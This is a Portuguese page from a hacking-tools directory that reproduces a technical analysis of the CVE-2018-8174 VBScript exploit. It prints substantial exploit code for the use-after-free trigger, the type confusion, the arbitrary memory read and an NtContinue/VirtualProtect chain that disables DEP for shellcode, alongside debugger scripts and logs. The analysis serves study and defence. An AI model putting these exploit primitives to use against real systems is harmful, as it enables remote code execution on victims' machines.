Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2018-8174_analysis — Analysis of VBS exploit CVE-2018-8174 | Kitploit
Ferramentas/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringLearning & EducationBinary Exploitation
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Analysis of VBS exploit CVE-2018-8174

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
3014há 8 anosRevisado pelo Kitploit

Dissecando exploit moderno de navegador: estudo de caso do CVE-2018-8174

Visão Geral

Quando este exploit surgiu pela primeira vez na virada de abril para maio, despertou meu interesse, pois, apesar da forte ofuscação, a estrutura do código parecia bem organizada e o código de exploração da vulnerabilidade pequeno o suficiente para tornar a análise mais simples. Baixei o POC do github e decidi que seria um bom candidato para dar uma olhada por baixo dos panos. Na época, duas análises já haviam sido publicadas, uma da 360 e outra da Kaspersky. Ambas me ajudaram a entender como funcionava, mas não foram suficientes para compreender profundamente todos os aspectos do exploit. Por isso, decidi analisá-lo por conta própria e compartilhar minhas descobertas.

Pré-processamento

Primeiro, para remover a ofuscação de inteiros, usei substituição por regex em script Python:

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

Quanto aos nomes ofuscados, renomeei-os progressivamente durante a análise. Esta análise é melhor lida com o código-fonte, cujo link está no final.

Use-after-free

A vulnerabilidade ocorre quando um objeto é finalizado e a função personalizada Class_Terminate() é chamada. Nesta função, a referência ao objeto sendo liberado é salva em UafArray. A partir de então, UafArray(i) refere-se ao objeto deletado.

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Observe também a última linha em Class_Terminate(). Quando copiamos o objeto ClassTerminate para UafArray, seu contador de referência é incrementado. Para equilibrar isso, liberamos novamente atribuindo outro valor a FreedObjectArray. Sem isso, a memória do objeto não seria liberada apesar de chamar Class_Terminate nele, e o próximo objeto não seria alocado em seu lugar.

Método VBScriptClass::Release

Criar e deletar novos objetos é repetido 7 vezes em um loop; após isso, um novo objeto da classe ReuseClass é criado. Ele é alocado na mesma memória que foi previamente ocupada pelas 7 instâncias de ClassTerminate. Para entender melhor, aqui está um script simples do WinDbg que rastreia todas essas alocações:

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Aqui está o log de alocação da função UafTrigger:

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Podemos ver imediatamente que ReuseClass é de fato alocada na mesma memória que foi atribuída às 7 instâncias anteriores de ClassTerminate. Isso é repetido duas vezes. Terminamos com dois objetos referenciados pelos UafArrays. Nenhuma dessas referências é refletida no contador de referência do objeto. Neste log também podemos notar que mesmo depois que Class_Terminate foi chamado, ainda há algumas manipulações de objeto que alteram seu contador de referência. É por isso que, se não equilibrássemos esse contador em Class_Terminate, obteríamos algo assim:

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Endereços de alocação diferentes. O exploit falharia em criar a condição use-after-free.

Confusão de Tipos

Tendo criado esses dois objetos com 7 referências não contabilizadas para cada um, estabelecemos a primitiva de leitura de memória arbitrária. Existem duas classes semelhantes, ReuseClass e FakeReuseClass. Ao substituir a primeira classe pela segunda, ocorre uma confusão de tipos no membro mem.

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

Na função SetProp, ReuseClass.mem é salvo e o Default Property Get da classe ReplacingClass_* é chamado; o resultado dessa chamada será colocado em ReuseClass.mem.

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

Dentro desse getter, UafArray é esvaziado atribuindo 0 a cada elemento. Isso faz com que VBScriptClass::Release seja chamado no objeto ReuseClass que é referenciado por UafArray. Acontece que, neste estágio da execução, o objeto ReuseClass tem contador de referência igual a 7, e como chamamos Release 7 vezes, este objeto é liberado. E como essas referências vieram da situação use-after-free, elas não são contabilizadas no contador de referência. No lugar de ReuseClass, um novo objeto de FakeReuseClass é alocado. Agora, para obter seu contador de referência igual a 7, como era o caso com ReuseClass, atribuímos ele 7 vezes a UafArray. Aqui está o layout da memória antes e depois desta operação.

Substituindo ReuseClass por FakeReuseClass

Diagrama para objetos VBScript

Depois que isso é feito, a função getter retornará um valor que será atribuído à antiga variável ReuseClass::mem. Como pode ser visto nos dumps de memória, o valor antigo foi colocado 0xC bytes antes do novo. Os objetos foram especialmente criados para causar essa situação, por exemplo, selecionando o comprimento adequado para os nomes das funções. Agora, o valor escrito em ReuseClass::mem sobrescreverá o cabeçalho de FakeReuseClass::mem, causando a situação de confusão de tipos.

Confusão de tipos no membro mem

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

A última linha atribuiu a string FakeArrayString a objectImitatingArray.mem. O cabeçalho agora tem o valor de VT_BSTR

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

Este valor sobrescreveu o tipo de objectImitatingArray.mem para VT_ARRAY | VT_VARIANT e agora o ponteiro para string será interpretado como ponteiro para a estrutura SAFEARRAY.

Leitura de memória arbitrária

O resultado é que ficamos com dois objetos de FakeReuseClass. Um deles tem um membro mem que é um array endereçando todo o espaço do usuário (0x00000000 - 0x7fffffff) e o outro tem um membro do tipo VT_I4 (inteiro de 4 bytes) com um ponteiro para uma string vazia de 16 bytes. Usando o segundo objeto, um ponteiro para a string é vazado:

root@kitploit:~
some_memory=resueObjectB_int.mem

Ele será usado posteriormente como um endereço na memória que é gravável. O próximo passo é vazar qualquer endereço dentro de vbscript.dll. Aqui um truque muito elegante é usado.

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

Primeiro, definimos que, em caso de erro, o script deve apenas continuar a execução normal. Em seguida, há uma tentativa de atribuir EmptySub a uma variável. Isso não é possível em VBS, mas ainda assim um valor é colocado na pilha antes que o erro seja gerado. A próxima instrução deve atribuir null a uma variável, o que faz, simplesmente alterando o tipo do último valor da pilha para VT_NULL. Agora emptySub_addr_placeholder contém o ponteiro para a função, mas com o tipo definido como VT_NULL.

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' set var type to type vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' set data
End Sub

Então este valor é escrito em nossa memória gravável, seu tipo é alterado para VT_I4 e é lido de volta como inteiro. Se verificarmos o conteúdo deste valor, descobrimos que é um ponteiro para CScriptEntryPoint e o primeiro membro é vftable apontando para dentro de vbscript.dll.

Vazando endereço de vbscript.dll

Para ler um valor de um endereço arbitrário, neste caso o ponteiro retornado de LeakVBAddr, as seguintes funções são usadas:

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' set type to VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' set type to original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

A leitura é alcançada primeiro escrevendo address+4 em uma memória gravável, depois o tipo é alterado para VT_BSTR. Agora address+4 é tratado como um ponteiro para BSTR. Se chamarmos LenB em address+4, ele retornará o valor apontado por address. Por quê? Por causa de como BSTR é definido, o valor unicode é precedido por seu comprimento, e esse comprimento é retornado por LenB.

Implementação de LenB

Agora que o endereço dentro de vbscript.dll foi vazado e tendo estabelecido a leitura de memória arbitrária, é uma questão de percorrer adequadamente o cabeçalho PE para obter todos os endereços necessários.

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

Os detalhes de como fazer isso não serão explicados aqui. Este artigo explica o arquivo PE em grandes detalhes.

Acionando execução de código

A execução final de código é alcançada em dois passos. Primeiro, uma cadeia de duas chamadas é construída, mas não é uma cadeia ROP. NtContinue é fornecido com uma estrutura CONTEXT que define EIP para o endereço de VirtualProtect, e ESP para uma estrutura contendo os parâmetros de VirtualProtect.

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - padding, this space will be used as stack
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - address to return to after VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1st param for VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2nd param for VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3rd param for VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- padding and allignment
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - initalize _CONTEXT with 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP in _CONTEXT struct
	result = result & UnescapeValue(27)			' 0x1b - CsSeg in _CONTEXT struct
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS in _CONTEXT struct
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
	result = result & UnescapeValue(35)			' 0x23 - SsSeg in _CONTEXT struct
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

Primeiro, o endereço do shellcode é obtido usando a técnica previamente descrita de alterar o tipo da variável para VT_I4 e ler o ponteiro. Em seguida, uma estrutura para VirtualProtect é construída, contendo todos os parâmetros necessários, como endereço do shellcode, tamanho e proteções RWX. Ela também tem espaço que será usado pelas operações de pilha dentro de VirtualProtect. Depois disso, uma estrutura CONTEXT é construída, com EIP definido para VirtualProtect e ESP para seus parâmetros. Esta estrutura também tem como primeiro valor um ponteiro para o endereço NtContinue repetido 4 vezes. O passo final antes de iniciar esta cadeia é salvar a estrutura como string na memória.

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

Esta função é então usada para iniciar a cadeia. Primeiro, ela altera o tipo da estrutura salva para 0x4D e depois define seu valor para 0; isso faz com que VAR::Clear seja chamado.

Execução de código

E uma visão dinâmica do depurador

Execução de código

Embora possa parecer complicada, esta cadeia de execução é muito simples. Apenas dois passos. Invocar NtContinue com uma estrutura CONTEXT apontando para VirtualProtect. Então VirtualProtect desabilitará o DEP na página de memória que contém o shellcode e, após isso, retornará para o shellcode.

Conclusão

O CVE-2018-8174 é um bom exemplo de encadeamento de algumas condições de use-after-free e confusão de tipos para alcançar execução de código de forma muito inteligente. É um ótimo exemplo para aprender e entender o funcionamento interno de tais exploits.

Links úteis

Código do exploit comentado

Análise de causa raiz da Kaspersky

Análise da 360

Outra análise da Kaspersky

Análise do CVE-2014-6332 pela Trend Micro

Baixar ferramenta